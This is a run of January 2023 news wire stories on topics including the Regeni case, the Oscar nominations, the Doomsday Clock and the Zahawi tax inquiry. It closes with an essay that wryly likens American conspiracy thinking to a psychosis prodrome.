Rome has described the stance of Egyptian authorities as one of "total closure" .Regeni, whose research topic was a politically sensitive issue, was tortured for days, resulting in "acute physical suffering" by being subjected to kicks, punches, beaten with sticks and bats and cut with sharp objects, and also being burned with red-hot objects and slammed into walls, Rome prosecutors say.

His neck was then snapped in a fatal blow.

At various times Egypt has advanced differing explanations for Regeni's death including a car accident, a gay lovers' tiff and abduction and murder by an alleged kidnapping gang that was wiped out after Regeni's documents were planted in their lair.

Lack of cooperation on the case by Egypt led to Rome's temporarily withdrawing its ambassador from Cairo for a spell.

The Regenis have appealed to the EU for help in finding the truth about their son's slaying and have condemned continued Italian arms sales to Egypt including two frigates, as well as last April's new gas deal. (ANSA).


(ANSA) - ROME, JAN 24 - Egypt wants to cooperate 100% on handing over the four intelligence officers suspected of torturing to death Italian student Giulio Regeni in late January-February 2016, Defence Minister Guido Crosetto said Tuesday in the face of a lack of evidence that any concrete cooperation is forthcoming.

"I think we will get the truth on the Regeni case, I think there is a willingness on Egypt's part to cooperate 100 per cent with Italy, because there is a need for the two nations to talk to each other and cooperate also for the security and balance of North Africa," Crosetto said on 'Diario del Giorno' on Rete 4.

"They are all interested and willing to give us clear and serious answers as quickly as possible".

Foreign Minister Antonio Tajani said Egyptian President Abdel Fattah el-Sisi had shown a new willingness in talks in Cairo Sunday to help Italy try the four intelligence officers that Rome prosecutors have said tortured Regeni to death because of the politically sensitive nature of his Cambridge University doctoral research into Cairo street sellers' unions. (ANSA).


(ANSA) - ROME, JAN 24 - A wave of extreme weather featuring freezing temperatures, heavy snow, violent storms and gale-force winds continued to make life difficult in many parts of Italy on Tuesday.

Snow and heavy rain took several roads out of use and schools were closed in many parts of the country, including the provinces of L'Aquila a Potenza.

Around one metre of snow fell in Amatrice in four hours and winds of over 120 km/h battered the northern port of Trieste.

A woman in the Tuscan town of San Quirico d'Orcia had to give birth with the help of advice via telephone from a midwife as she was unable to leave her home because of the weather after she went into labour.

Scientists says that climate change caused by human greenhouse-gas emissions is making extreme weather events more frequent and intense. (ANSA).


(ANSA) - ROME, JAN 24 - Noemi Di Segni, the president of the Italian union of Jewish communities, pointed out on Tuesday that Nazi Germany was not alone in implementing the Shoah and that Italy's Fascist regime played a role too, ahead of Holocaust Memorial Day on Friday.

"Holocaust Memorial Day is not a moment to give a compassionate caress to the Jews," Di Segni told a conference organized by the Trieste prefect's department.

"It's the day for everyone, citizens and central and local institutions, to take responsibility...

"The racial laws were announced here in Trieste (by Benito Mussolini) 85 years ago with a speech that was crazy for the beginning to the end.

"But the packed square (before him) cheered and clapped...

"It's important to realize that the Shoah is not just Germany, Auschwitz, Nazis.

"It's also Italy in every street and square - Italians and, above all, the Fascist regime.

"It is also necessary to realize that Fascism and the Italian Social Republic after 1943 were not just bad for the Jews, they were bad for the whole of Italy". (ANSA).


Amb. Silvestri, Skopje wants the EU,Italy stands by its side 'We supported them in several areas to help them with accession'

(ANSA) - TRIESTE, 24 GEN - Italy and North Macedonia have "a strong, solid, credible partnership; we have always supported them on their path to European integration." Ambassador in Skopje Andrea Silvestri told ANSA on the sidelines of the Balkans Conference. "In July, finally, the accession negotiations started. We are partners on the general level, but we are also supporting them in different areas such as agriculture, good governance, internal affairs, and we are trying to promote more relations on the trade level," Silvestri added, underlining that "European integration is necessary for them." "The government in Skopje fully believes in it; it has a strong Western anchor, it is a Nato country, and it is chairing the OSCE. So it is our duty and interest to accompany them on this path." (ANSA).





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EU received over 900,000 asylum requests in 2022 European Commission working on increase in numbers

(ANSAmed) - BRUSSELS, 24 GEN - A total of 924,000 asylum requests were recorded in the EU in 2022. This number is over three times the approximately 330,000 attempts by migrants to enter the EU without authorization, noted Home Affairs Commissioner, Ylva Johansson, on Tuesday.' She added that those with the right to international protection must be protected while those lacking this should return to their countries of origin.



The commissioner claimed that this is the only way to "protect the system" and that the number of repatriations must therefore increase.



The European Commission on Tuesday presented a strategy to increase the number of repatriations.



Mari Juritsch, EU coordinator for repatriations, said during the presentation that this was a complicated matter and that repatriations are not yet see as a shared responsibility in the bloc in its entirety, leading to problems.



The strategy presented will focus on four pillars: better coordination between the European Commission and member states, speeding up of the process, assistance to countries of origin, and digitalisation of the procedure.



Juritsch stressed that a single, unified EU-wide system for repatriation was needed. (ANSAmed).




Israeli army admits unjustified killing of Palestinian man In West Bank, Haaretz reports on probe into checkpoint incident

(ANSAmed) - TEL AVIV, 24 GEN - An investigation by the commander of an Israeli army brigade has led to a preliminary conclusion that the killing of the Palestinian man Ahmed Hassan Kahla, 45, was "unjustified".



He was shot in the neck and killed at a checkpoint in the Silwad area near Ramallah on Jan. 15.



Israeli media outlet Haaretz reported the news, noting that the soldiers manning the checkpoint had previously presented a version of the incident that did not correspond with the truth.



Initially, the soldiers had claimed that Kahla had thrown stones at them and that he had "flung himself at them with a knife".



They later claimed that, during a scuffle at close quarters, he had "tried to get ahold of the weapon of one of the soldiers" The officer who conducted the inquiry, Haaretz reported, instead found significant gaps in the soldiers' versions and concluded that they had behaved in an inappropriate manner.



Palestinian prime minister Mohamed Shtayeh has accused Israel of committing a crime and called for the international community to put an end to incidents of this type, which have multiplied in recent weeks in the West Bank. (ANSAmed).




Street art showing Messina Denaro boy victim removed No explanation for removal of Mafia Sucks mural

(ANSAmed) - ROME, JAN 24 - A piece of street art put up near Matteo Messina Denaro's jail commemorating a 13-year-old boy dissolved in acid by the Mafia boss caught a week ago after 30 years on the run has now been removed, without explanation.



The mural by street artist Laika showed Giuseppe Di Matteo in a well-known image of him riding a horse, on which the words "Mafia sucks" were emblazoned.



The teenager was kidnapped and then murdered to punish his father Santino Di Matteo for becoming a Cosa Nostra informant.



Laika painted the image a few metres from the top-security prison in L'Aquila, in the central Italian region of Abruzzo, where 60-year-old Trapani superboss Messina Denaro is being held after his capture in a Palermo cancer clinic last Monday.



"I did this poster a few days before reading the words of Santino, Giuseppe's father, who declared his son's 'victory', because with Messina Denaro's arrest all the men who committed that heinous crime which at the time shocked the whole country are finally in prison," said Laika, a 34-year-old street artist from Rome whose works usually appear in the Italian capital.



"The Mafia sucks, I don't think many more words are needed than that".



Local officials are being south for an explanation of why the mural was removed. (ANSAmed).




Israeli ambassador to Italy warns of antisemitism In Trieste for Holocaust Remembrance Day

(ANSAmed) - TRIESTE, 24 GEN - In Italy, through "the current government and past ones", much is being done to "fight antisemitism", Israeli Ambassador Alon Bar said during a meeting with the Italy-Israel association on Monday evening.



"However," he added, "antisemitism remains in some small daily actions, that initially are seen as a joke by those committing them. Too often the gravity of these gestures is not realised. It is important therefore to move forward in explaining what antisemitism is", including in schools and institutes.



"This is a problem present in all countries in the world," he added.



The ambassador is in Trieste on Tuesday for several initiatives planned as part of Holocaust Remembrance Day, in which Interior Minister Matteo Piantedosi will also be taking part. (ANSAmed).




Italian FM urges speeding up Western Balkans EU accession At Trieste conference on Italy's role in the region

(ANSAmed) - TRIESTE, 24 GEN - "The stability of the region is essential, especially because migration flows from Turkey go through the region and it is important to prevent illegal immigration. Stability also means the possibility of economic growth and the presence of our businesses," Italian foreign minister Antonio Tajani said in inaugurating a conference entitled Italy and the Western Balkans: Growth and Innovation on Tuesday.



The conference is being held in Italy's northeastern city of Trieste and is meant to promote Italy's role in the Western Balkans and the accession process in the region.



Tajani said that the Western Balkans region "must also become part of the European market" and that "we support an acceleration" of accession processes.



He added that having the Balkans in the EU 'orbit' means Italy and the EU must in the region be "credible, serious, reliable, and make investments. We want to be more present since, in politics, when gaps are left open these spaces are occupied by others. If we are present politically, with our businesses and also with our peacekeeping forces, there is no danger of others occupying these spaces. Not only Russia - many are interested in the Balkans. For this reason, Italy and Europe must be more present." "There is a lot to do" and "we need Italy more in the Western Balkans" as a "founding country and large member state of the EU", enlargement commissioner Oliver Varhelyi said.



Four panels were slated to follow: on the partnership between Italy and the western Balkans, on tools and opportunities, on the role of the Italian production system, and on international instruments to support economic growth, as well as the presentation of a project for Nova Gorica and Gorizia as 2025 European Capital of Culture. (ANSAmed).




Brendan Fraser says he is overjoyed to have been nominated for a best actor Oscar for his performance in The Whale, and said his character, Charlie, had profoundly changed my life.

The actor was among the big Hollywood names celebrating news of their nominations, which were announced on Tuesday.

All of this years best actor nominees were first timers, and Fraser was joined in the category by Colin Farrell, Bill Nighy, Paul Mescal and Austin Butler.

Im absolutely overjoyed and deeply grateful to The Academy for this recognition and for recognising Hong Chaus beautiful performance and Adrien Morots incredible make-up, he said, in a statement shared with the PA news agency.

The Whale sees Fraser play obese and reclusive schoolteacher Charlie, as he struggles to reconnect with his estranged daughter, played by Stranger Things star Sadie Sink.

I wouldnt have this nomination without Darren Aronofsky, Samuel D Hunter, A24 and the extraordinary cast and crew who gave me the gift of Charlie, Fraser went on.

A gift I certainly didnt see coming, but its one that has profoundly changed my life. Thank you.

Farrell said he was beyond honoured by the nomination, earned for his performance in dark Irish comedy The Banshees Of Inisherin, and sent his congratulations to all the lads.

English acting veteran Nighy said he was surrounded by assassins while filming Living, for which he received recognition, and said the nomination belongs to them all.

Mescal was nominated for his role in coming-of-age drama Aftersun, and described his nomination as bananas and an insane honour.

This is truly a special moment for everyone involved in Aftersun, he said, in a statement shared with PA.

To be recognised by the Academy is such an insane honour and Im so utterly grateful.

I want to dedicate this nomination to my two friends Charlotte and Frankie who I love dearly. This is bananas, thank you.

Sci-fi thriller Everything Everywhere All At Once led the nominations, picking up a total of 11  including best picture, best actress and best supporting actor and actress.

Ke Huy Quan, who has already won a Golden Globe and a Critics Choice Award for his performance, said adding an Oscar nomination to his collection was beyond his wildest dreams.

I cannot even begin to describe how incredible this feeling is to be recognised as an Oscar nominee! Never in my wildest dreams could I imagine this moment. It still doesnt feel real! he said.

Thank you so much to the Academy for this wonderful honour and for believing in our little movie. The outpouring of love and the warm welcome back is something I will cherish forever.

To my fellow nominees  I am floored by your work, and I feel very lucky to be standing alongside you today. To my EEAAO family, congratulations. I love you!

Jamie Lee Curtis, who appears alongside Quan in the film, shared a picture of her reaction to news of her and co-star Stephanie Hsus nominations for best supporting actress for their own roles.

GRATEFUL and HAPPY for our team and fabulous artists and technicians across three countries and from all over the world!!! https://t.co/Y2vKlEpKJ9  Guillermo del Toro (@RealGDT) January 24, 2023

This is what surprise looks like, she wrote on Instagram.

The first is the moment of hearing my name, and then the thrill of my friend, Stephanies @stephaniehsuofficial name, and the rest of the nominations and then the best thing of all, a loving embrace for my husband.

Acclaimed director Guillermo Del Toro, who has already won two Oscars previously, picked up a nomination for best animated feature for his Pinocchio.

I'm very happy today and so grateful to the incredible collective of cast and crew who made Women Talking.  @realSarahPolley (she/her) (@realsarahpolley) January 24, 2023

Grateful and happy for our team and fabulous artists and technicians across three countries and from all over the world, he wrote.

Fellow director Sarah Polley, whose film Women Talking was nominated for the coveted best picture category, added: Im very happy today and so grateful to the incredible collective of cast and crew who made Women Talking.
The Doomsday Clock has moved closer to midnight than it has ever been, and is now just 90 seconds away from striking 12, scientists have said.

The clock, a symbolic timepiece showing how close the world is to ending, has been moved forward by 10 seconds by its keepers.

The announcement means the perceived threat is now more severe than it was last year, with the scientists citing unprecedented danger posed by the Russia-Ukraine war.

Rachel Bronson, chief executive of the Bulletin of the Atomic Scientists, said: As UN secretary-general Antonio Guterres warned this past August, the world has entered a time of nuclear danger not seen since the height of the Cold War.

(PA Graphics)

Speaking about the conflict between Russia and Ukraine, she said: There is no clear pathway for forging a just peace that discourages future aggression under the shadow of nuclear threat.

The US government, its Nato allies and Ukraine have a multitude of channels for dialogue. We urge leaders to explore all of them to their fullest ability.

Ms Bronson added: We move the clock forward, the closest it has ever been to midnight. It is now, 90 seconds to midnight.

"We move the Clock forward, the closest it has ever been to midnight. It is now, 90 seconds to midnight." #DoomsdayClock https://t.co/vNLOCAAx5E pic.twitter.com/Wg4l8fZUU0  Bulletin of the Atomic Scientists (@BulletinAtomic) January 24, 2023

In a statement, the scientists said Russias invasion of Ukraine has raised profound questions about how states interact, eroding norms of international conduct that underpin successful responses to a variety of global risks.

The statement added: Russias thinly veiled threats to use nuclear weapons remind the world that escalation of the conflict  by accident, intention, or miscalculation  is a terrible risk.

The possibility that the conflict could spin out of anyones control remains high.

The scientists said they were also concerned about Chinas expansion of its nuclear capabilities as well as North Korea stepping up its intermediate and longer-range missile testing.

They also warned that the US, Russia, and China are pursuing full-fledged nuclear weapons modernisation programs, setting the table for a dangerous new third nuclear age of competition.

The countdown was established in 1947 by experts from The Bulletin Of The Atomic Scientists who were working on the Manhattan Project to design and build the first atomic bomb.

The concerned US scientists set up the Doomsday Clock to provide a simple way of demonstrating the danger to the Earth and humanity posed by nuclear war.

The Bulletin is an independent non-profit organisation run by some of the worlds most eminent scientists.

The clock first started ticking at seven minutes to midnight  and has moved forwards and backwards over the years as the threats to the world changed.

Leaders need a crisis mindset to tackle the existential threats facing humanity, as set out starkly by the @BulletinAtomic's #DoomsdayClock. Read The Elders' statement: https://t.co/RqJDqZpplQ pic.twitter.com/lbcfdEfjOL  The Elders (@TheElders) January 24, 2023

In 2020, the clock was set at 100 minutes to midnight, and remained unchanged for the next three years.

Although originally intended to warn of the threat of nuclear Armageddon, the Doomsday Clock also takes into account the likelihood of other emerging threats such as climate change and advances in biotechnology and artificial intelligence.

Mary Robinson, former UN High Commissioner for Human Rights, said: We are on the brink of a precipice.

But our leaders are not acting at sufficient speed or scale to secure a peaceful and liveable planet.

From cutting carbon emissions to strengthening arms control treaties and investing in pandemic preparedness, we know what needs to be done.

The science is clear, but the political will is lacking.

This must change in 2023 if we are to avert catastrophe.
Photographs of survivors of the Nazi genocide of Jews have gone on display in a new exhibition to mark Holocaust Memorial Day in Manchester.

Generations: Portraits Of Holocaust Survivors, brings together more than 60 contemporary portraits of Holocaust survivors and their families, including photos taken by Catherine, Princess of Wales, a keen photographer and patron of the Royal Photographic Society (RPS).

The exhibition, first shown in London in 2021 and Paris last year, features four new photographs, all taken by RPS president Simon Hill, of Holocaust survivors who made new lives after the Second World War and brought up families in the North West of England.

They include married couple, Werner Lachs, 96 and his wife Ruth, 86, who visited the exhibition at the Imperial War Museum North in Manchester ahead of its opening.

Werner and Ruth Lachs (Peter Byrne/PA)

Both lost extended family to the Holocaust but Werners family escaped Germany thanks to an MI6 agent and Ruth was hidden by sympathisers, but her younger brother was murdered in Auschwitz.

Mrs Lachs, from Prestwich, Manchester, said: It wont be forgotten the terrible times we had with the Nazis and we hope it never happens again, its just a reminder to people that the generations have, thank goodness, that people have children, made a decent life after the war for themselves.

I think about it, but thank goodness we come out of it and I did think about the future and got settled, had a family and thank goodness we have nine grandchildren and 10 great-grandchildren, so Im glad that I managed to make a reasonable life for myself.

The exhibition aims to capture the connections between Holocaust survivors and the younger generations of their families, shining a light on the full lives they have lived and our collective responsibility to ensure their stories live on.

The rise of Adolf Hitler as German dictator and the persecution of Europes Jews by the Nazis and their collaborators between 1933 and 1945 led to the mass extermination of six million lives, most murdered in gas chambers or shot.

The Duke and Duchess of Cambridge during a visit to the Holocaust Memorial in Berlin (Jane Barlow/PA)

Simon Hill, the Royal Photographic Societys President said, It has been an immense privilege to meet each of these camp survivors and refugees and to explore with them their unique stories.

Justin Cohen, a newspaper editor for Jewish News who came up with the idea of a photography exhibition and made contact with the Princess of Wales through Buckingham Palace, hopes there will be more events worldwide.

He said: In the wake of the United Arab Emirates historic decision to include Holocaust education in their curriculum for school children, my ultimate goal would be to see the exhibition in that country and wider parts of the Arab world.

Generations: Portraits Of Holocaust Survivors is a free exhibition opening at IWM North on January 27 and running until summer 2023.
Nadhim Zahawi is set to face an ethics inquiry into his tax affairs  as allegations against the Conservative Party chairman piled pressure on Rishi Sunak.

The Prime Minister on Monday ordered a potentially far-reaching investigation into Mr Zahawi but resisted calls to sack the former chancellor over the multimillion-pound tax dispute he resolved by paying a penalty.

Downing Street indicated Mr Sunak did not know about the penalty when he defended Mr Zahawi in the Commons last week, but as he announced the investigation the Prime Minister said clearly in this case there are questions that need answering.

Thats why Ive asked our independent adviser to get to the bottom of everything, to investigate the matter fully and establish all the facts and provide advice to me on Nadhim Zahawis compliance with the Ministerial Code, he told broadcasters during a visit to a Northampton hospital.

Im pleased that Nadhim Zahawi has agreed with that approach and has agreed to fully co-operate with that investigation.

The inquiry by new ethics adviser Sir Laurie Magnus is expected to focus on Mr Zahawis ministerial declarations, but it could extend to his prior tax arrangement and whether he lied to the media.

The investigation could also include claims Mr Zahawi falsely told officials he did not exchange WhatsApp messages with Conservative former prime minister David Cameron about Government loans for Greensill Capital before it emerged they were deleted.

Prime Minister Rishi Sunak during a visit to Berrywood Hospital in Northampton (Toby Melville/PA)

Mr Sunak has defied demands to sack the minister, who insisted he acted properly throughout amid concerns about the settlement, estimated at around 5 million.

Mr Zahawi is understood to have paid a penalty  reported by The Guardian to be around 30%  during the time he was chancellor under Boris Johnson between July and September.

The Guardians report on the penalty came on Friday. The following day Mr Zahawi, the MP for Stratford-upon-Avon, released a statement insisting his error over shares in the YouGov polling company he co-founded was careless and not deliberate.

In a statement, Mr Zahawi said: I welcome the Prime Ministers referral of this matter to the independent adviser on ministerial standards. I look forward to explaining the facts of this issue to Sir Laurie Magnus and his team.

I am confident I acted properly throughout and look forward to answering any and all specific questions in a formal setting to Sir Laurie.

He said it would be inappropriate to discuss this issue any further while continuing as Conservative chairman.

Both Labour and the Liberal Democrats have said Mr Zahawi should face the sack, with Labour deputy leader Angela Rayner demanding answers from the Government in the Commons on Monday.

Last week he told the House all questions have been answered and he was told there was no outstanding issues, yet now the independent adviser is investigating, she said of Mr Sunak.

So will he publish the terms of reference? And why does the Prime Minister need an adviser to tell him that this conduct is unethical? If this isnt a breach of the Ministerial Code, surely the code itself is wrong and its the Prime Ministers job to fix it.

Former prime minister Boris Johnson (PA)

If the Prime Minister came clean about what he knew and when, and took responsibility for the conduct of his own Cabinet, would we need yet another investigation into another member of his top team?

Mr Zahawis tax affairs was one of two controversies Mr Sunak was forced to deal with as the week began, with BBC chairman Richard Sharp reportedly helping Mr Johnson secure a loan of up to 800,000.

Mr Sunak distanced himself from the allegation, saying the chairmans appointment was made by one of my predecessors.

But the row meant fresh scrutiny of ethics within government, as William Shawcross, the commissioner for public appointments, said he would review the way competition for the post was run to ensure it was in compliance with Whitehall rules.

Mr Sharp insisted he was not involved in making a loan or arranging a guarantee for the then-prime minister.

He told BBC staff members his role was merely to seek an introduction for Sam Blyth, who reportedly acted as guarantor for a loan to Mr Johnson, to the relevant official in Government.

Mr Johnson, who was responsible for Mr Sharps appointment, dismissed the row as a load of complete nonsense, insisting Mr Sharp had no knowledge of his personal finances.
The family of Julian Sands has praised the heroic efforts of Californian authorities conducting the search for the missing British actor.

A statement shared by the San Bernardino County Sheriffs Office thanked various organisations involved in efforts to find the actor, as search operations entered their 11th day.

Sands was first reported missing on January 13 in the Baldy Bowl area of the San Gabriel mountains in southern California.

In the statement, his family said they were deeply touched by the support they had received in the days since his disappearance.

As we enter day 11 of the search for Julian Sands on Mt. Baldy, we are reminded of the sheer determination & selflessness of all of the people who have aided in this search. We will continue to utilize the resources available to us. The family would like to share this statement: pic.twitter.com/owO2o97f16  San Bernardino County Sheriff (@sbcountysheriff) January 23, 2023

Our heartfelt thanks to the compassionate members of the San Bernardino County Sheriffs Department who are coordinating the search for our beloved Julian, not least the heroic search teams listed below who are braving difficult conditions on the ground and in the air to bring Julian home, the statement read.

We are deeply touched by the outpouring of love and support.

The statement went on to list various organisations involved in the search, which included local and out-of-county forces, as well as specialised canine and cave teams.

In a message sharing the statement, the sheriffs department added: As we enter day 11 of the search for Julian Sands on Mt. Baldy, we are reminded of the sheer determination & selflessness of all of the people who have aided in this search.

We will continue to utilize the resources available to us.

On Monday a spokesperson for the sheriffs department told the PA news agency that conditions were still too dangerous for ground crews to operate, and that searches would be conducted by helicopter only.

They said infrared devices have been used but there was no sign of Sands.

The department said it has also begun searching for a second missing hiker in the same area, though the two incidents are separate.

It comes after federal agencies joined efforts to find Sands, using mobile phone forensics to help pinpoint the actors location.

It was previously revealed that pings from Sands phone appeared to show he had been on the move heading further into the mountainous area of Baldy Bowl on the day he was reported missing.

The department also told PA previously that there was still no hard deadline and no date set for calling off efforts  and the incident is still being classified as a search and rescue operation.

Last week it had urged hikers to think twice and heed warnings, saying its search and rescue teams had responded to 14 calls on Mount Baldy and in the surrounding area within four weeks.

Sands was born in Yorkshire and moved to Los Angeles in 2020.

His breakout role came as the free-spirited George in the period drama A Room With A View, in which he starred opposite Helena Bonham Carter.

He later made the move to the horror genre, featuring in films such as Leaving Las Vegas, Warlock and Arachnophobia, as well as parts on television.

More recently he played the chief medical officer in the 2021 Jack Lowden and Peter Capaldi-led drama Benediction.

From 1984 to 1987 Sands was married to future Evening Standard and Today editor Sarah Sands, with whom he has a son. He also has two daughters with journalist Evgenia Citkowitz, whom he married in 1990.
John Swinney has warned that Westminster must not be able to impose minimum service levels during industrial action in Scotland.

The Deputy First Minister has written to Kevin Hollinrake, the UK enterprise, markets and small business minister, to set out the Scottish Governments opposition to the legislative proposals.

The controversial plans, which have been dubbed anti-strike legislation, would require minimum levels of service (MSLs) during strikes from ambulance workers, firefighters, rail staff and other essential workers.

Mr Swinney has said the Strikes (Minimum Service Levels) Bill, which is currently making its way through Parliament, would undermine the Scottish Governments Fair Work principles, while interfering with devolved legislation.

John Swinney has set out his opposition to minimum service levels (Andrew Cowan/Scottish Parliament/PA)

And he criticised the lack of engagement with Scottish ministers before the proposals were presented in Westminster.

In the letter, which was also sent to Scottish Secretary Alister Jack, Mr Swinney said: It would give UK ministers power to intervene in devolved public services by setting minimum service levels.

The effect of these regulations on the functions of the Scottish Government and the operation of devolved public bodies is the purpose of the Bill, and is more than incidental.

We are therefore considering the Bill carefully to assess the need to legislative consent from the Scottish Parliament to its provisions.

He claimed the law, if passed, would not require the agreement or consultation of the Scottish Government, despite impacting areas directly under the competence of the Scottish Parliament  including health, education, some elements of transport and fire and rescue services.

Mr Swinney added: It is therefore clear that the UK Government is not in a position to decide either whether there is a need for MSLs for these devolved areas, or what such MSLs should contain.

He also said the plans risked pouring fuel on the fire on a relationship with trade unions which is already at such a low ebb.

First Minister Nicola Sturgeon has previously set out her opposition to the proposals, pledging to fight the legislation every step of the way.

A UK Government spokesperson said: Many countries in Europe and around the world who are signatories to the International Labour Organisation have minimum service levels in place covering a range of key services.

We must keep the public safe, which is why we are introducing minimum service and safety levels across a range of sectors to ensure that lives and livelihoods are not lost.
Ice Cube Is Sharing Anti-Semitic Memes and QAnon Tweets

More from Spin:

The period of subclinical signs and symptoms that precedes the onset of psychosis is referred to as the prodrome.

 Expert Review of Neurotherapeutics

What about the Devil? asks Tim. The question interrupts a coworker, Andre, whos been filling me in on need-to-know stuff.

Andre, my colleague in this supported-living facility, turns a steely gaze on Tim. Hes a resident in his late 50s. Are you in reality? asks Andre.

Tim grins, his pin-prick pupils zeroed on Andre. The Devils close to perfect, isnt he?

Andre gets real stern. Tim, he says. Youre not in reality. Wheres the place for that kind of talk?

My room? asks Tim.

Correct. In your room. Not out here. Andre waves around the common area.

Tims grin fades. Not out here?

No. Out here were in reality. So stop talking like that or go to your room.

Tim is quiet. He steps away from us and holds his hands.

Andre smiles. Funny guy, he says, and turns back to me. What were we talking about?

The weather, I say. You were telling me about the weather.

Oh yeah. Its all controlled. They control the weather with giant microwave guns. Hurricanes, wildfires, droughts, floods  its all planned.

Since moving to the U.S., Ive learned to bite my tongue. Dont know what to say anymore.

Leaning back in his chair, Andre stares up at me. Dont believe it, do you? he says. That everything is controlled.

No.

He sighs. Its all planned, dude. They dont let anything happen by accident.

Tim hovers a few yards behind me.

Mental note: I should add they control the weather with giant microwave guns to a list of eyebrow-raising claims routinely, at times evangelistically, put to me by everyday Americans. As far as Im aware, these Americans amidst whom I work, chill, and live, do not share Tims diagnosis of schizophrenia.

(Credit Stephen Maturen/Getty Images)

A random sampling of everyday assertions I hear from everyday Americans includes:

Vladimir Putin is an American agent

Getting struck by lightning makes people see the future

Eating apricots cures cancer

Communist scientists engineered the Covid vaccines to induce cravings for global Marxist dictatorship

Left-wing Americans want pedophilia respected as a legitimate lifestyle choice

America ordered the Russian invasion of Ukraine

The Rockefellers replaced all real, effective medicines with inert plastic substitutes and made medical schools go along with this trick

Security agencies fake or carry out most high-profile mass shootings

The Book of Enoch outlines everything happening today

America is an imaginative country. Before moving here I associated such loose-wheeled thinking more exclusively with societies plagued by endemic poverty, lawlessness, and political violence  nations and regions where formal education has long been compromised and magical thinking maximized.

Over dinner at an Oregon wedding, the grooms uncle asked if Australias homeless situation was much the same as here.

How do you mean? I said. Like rampant? Mobs of people living under bridges and in parks and along sidewalks and all that? People in caves? Tweakers and zombies roaming round?

Yeah. Same deal? said the uncle, down from Seattle.

Absolutely nothing like it. This is more like somewhere theres been a war, or natural disaster.

Really? he said. So its different here. Huh. He sat for a moment. Really? Why?

It really is different. Only in America, here in Oregon, while walking near the banks of a town river, has a bearded little man popped out of a tent and come striding straight at me, hatchet in one hand and hunting knife in the other, muttering obscenities, the inflamed flesh of his scalp growing over rows of staples.

Gday, I say. Im Matt.

Do you know what Roy means? he growls, his eyes like flint-encrusted buttholes. In every language of the world, Roy means king. Thats my name, he says. Roy.

All spit and grimace, the king tells me he did a long stretch for beating near to death a relative he found sexually assaulting a young girl. They should have given me a medal, but instead I got 18 years, he says. Someone familiar with the local underworld later suggests the king has his script scrambled about which role he played in the attack on the girl.

My approach to journalism, to life, in this dirtbag arcadia, is that of an amateur anthropologist, and not the stuffy old kind who held themselves at a reserve, keeping clean while taking notes. To the contrary: Its near impossible to learn, to absorb, to understand, without getting into the thick of it.

Hence, since immigrating to Murica, Ive started wearing mustaches and vests; Im the proud owner of an AR-15 and a gas-guzzling HEMI V8; I spend my evenings drinking with the fire blazing, scrolling through online catalogs of shoulder holsters, and pondering changing my wardrobe to better conceal handguns.

And when a mid-term ballot measure passes in Oregon restricting magazines to 10 rounds, among other un-American attacks on our way of life, I am livid. For fucks sake! Assholes! I find myself agreeing with people I used to think were paranoid fantasists: surely no limits can be placed on a constitutional right. Especially by toss-bags who outvoted us but clearly dont understand shit.

Going all mad prepper gets my blood up. Its exciting.

Reminds me of how worked up my father got about Obamacare.

My Nebraskan-born dad had railed at Obama as a socialist and the Affordable Care Act as the apocalyptic Cubanization of America  but he did so from Sydney, Australia, where in the 1970s he and my mother had replanted our American family.

Then he needed a hernia operation and was afterwards dumbstruck at getting discharged from Sydneys Royal North Shore Hospital with no bill whatsoever. Didnt cost me a dime! he said, genuinely amazed. And they treated me great!

Duly fixed up and back home, he was immediately lounging in front of the idiot box, clutching a cold one and yelling at Obama for being a Communist.

We are but glitching simulations of intelligent life. Or thats how it feels, although I guess in reality were just fucking crazy.

Realizing this  that Coke Zero causes cancer, but that eating apricots cures it; that Pfizer is a front organization for Marxist revolutionaries; that insane people should take their delusions to their rooms if theyre not going to sit around discussing sane stuff like how secret societies program the weather via giant microwaves  after realizing that such alternative facts are thick on the ground, I looked for guidance.

How best to understand this country? Should I re-read Howard Zinns proto-woke classic, A Peoples History of the United States? Maybe Ann Coulters pre-January 6 prophetic masterwork, Treason: Liberal Treachery from the Cold War to the War on Terrorism. Should I spend more time in bars? Or I could staple my head and lurk by rivers with a tomahawk.

Not yet. Like any good doctor, I first need to form a diagnosis.

(Credit: Getty Images)

A quick Google of the signs and symptoms of being American takes me to WebMD: What is Schizophrenia Prodrome?

It turns out that America is in a prodromal state, a phase of creeping madness usually only diagnosed retrospectively: after the eruption of full-blown psychosis.

You might be in the prodrome, WebMD advises, if:

At least once a week within the past year, you have symptoms linked to psychosis  a break from reality. These can include things like:

Strange thoughts Delusions (strong belief in things that arent true) Distrust of people Feeling like youre better or smarter than others



Once a week? Lol.

Armed with a diagnosis, I turn to the writings and lectures of mental health activist R.D. Laing, the late Scottish psychiatrist who famously lived in group homes with unmedicated mad people, encouraged them to go as full-on mad as they had to, handed out psychedelic drugs to facilitate that process, and listened closely to the resulting babble, believing that crazy talk is a meaningful symbolic language.

Not a bad fit with living in America, where polling indicated that almost 50 million people believed that the government, media, and financial worlds in the U.S. are controlled by a group of Satan-worshipping pedophiles who run a global child sex trafficking operation, and towards 70 million people believed that there is a storm coming soon that will sweep away the elites in power and restore the rightful leaders.

A storm that will sweep Roy from the riverbanks and plant him on his throne, perhaps, as rightful king of Oregon, a patch of America where the number of people  who are accused of crimes but cannot understand the charges against them due to psychosis has increased to what one state official called record levels.

Or so Oregon Public Broadcasting would have us believe in its report on a bed shortage at the state psychiatric facility (the very same Salem campus where One Flew Over The Cuckoos Nest was filmed).

But should we believe it? After all, as Ive heard time and again from the gainfully employed and tweakers alike: All mainstream news is made up.

So back to that canny R.D. Laing, who speaks directly to the U.S. of the 2020s in his 1968 lecture, Intervention in Social Situations. In this address to the Association of Family Caseworkers, Laing describes the challenge of simply trying to see where were at:

No one in the situation knows what the situation is. If we stay in such a situation just a little, say for 90 minutes, we get more and more lost, confused, disoriented. People talk as though they knew what was going on; they have no idea, nor have we. They act as if they understand each other, when no one does.

The situation Laing describes is  like America  a plummeting maze of dead ends: a broken thing were in, breaking down further.

To Laing, it is wrongheaded for a psychiatrist to work as a chemical mechanic, tinkering people out of mental illness with pharmaceuticals. The psychiatrist must instead be a social analyst, a hypersensitive reader of interpersonal pressures ranging from the very intimate forces within a family to the more de-individualized and indifferent gravitational forces of a society.

To Laing, the work of healing is the work of listening, and that was the main thing he did for his case studies: listen to them. For many people in life, theres no one listening to them. No one hears them; no one sees them. They feel quite rightly that they are ghosts, he said.

So I follow Laings lead and listen to the madness  both that of my sane friends and colleagues, and that of schizophrenic Tim, who, by tapping his shirt and saying he has me in his pocket, to give another example, is saying  I think  that he keeps me in his heart.

But what does the giant microwave gun, apricot Rockefeller Putin pedophile line of madness in todays prodromal America mean? And why is it all so paranoid?

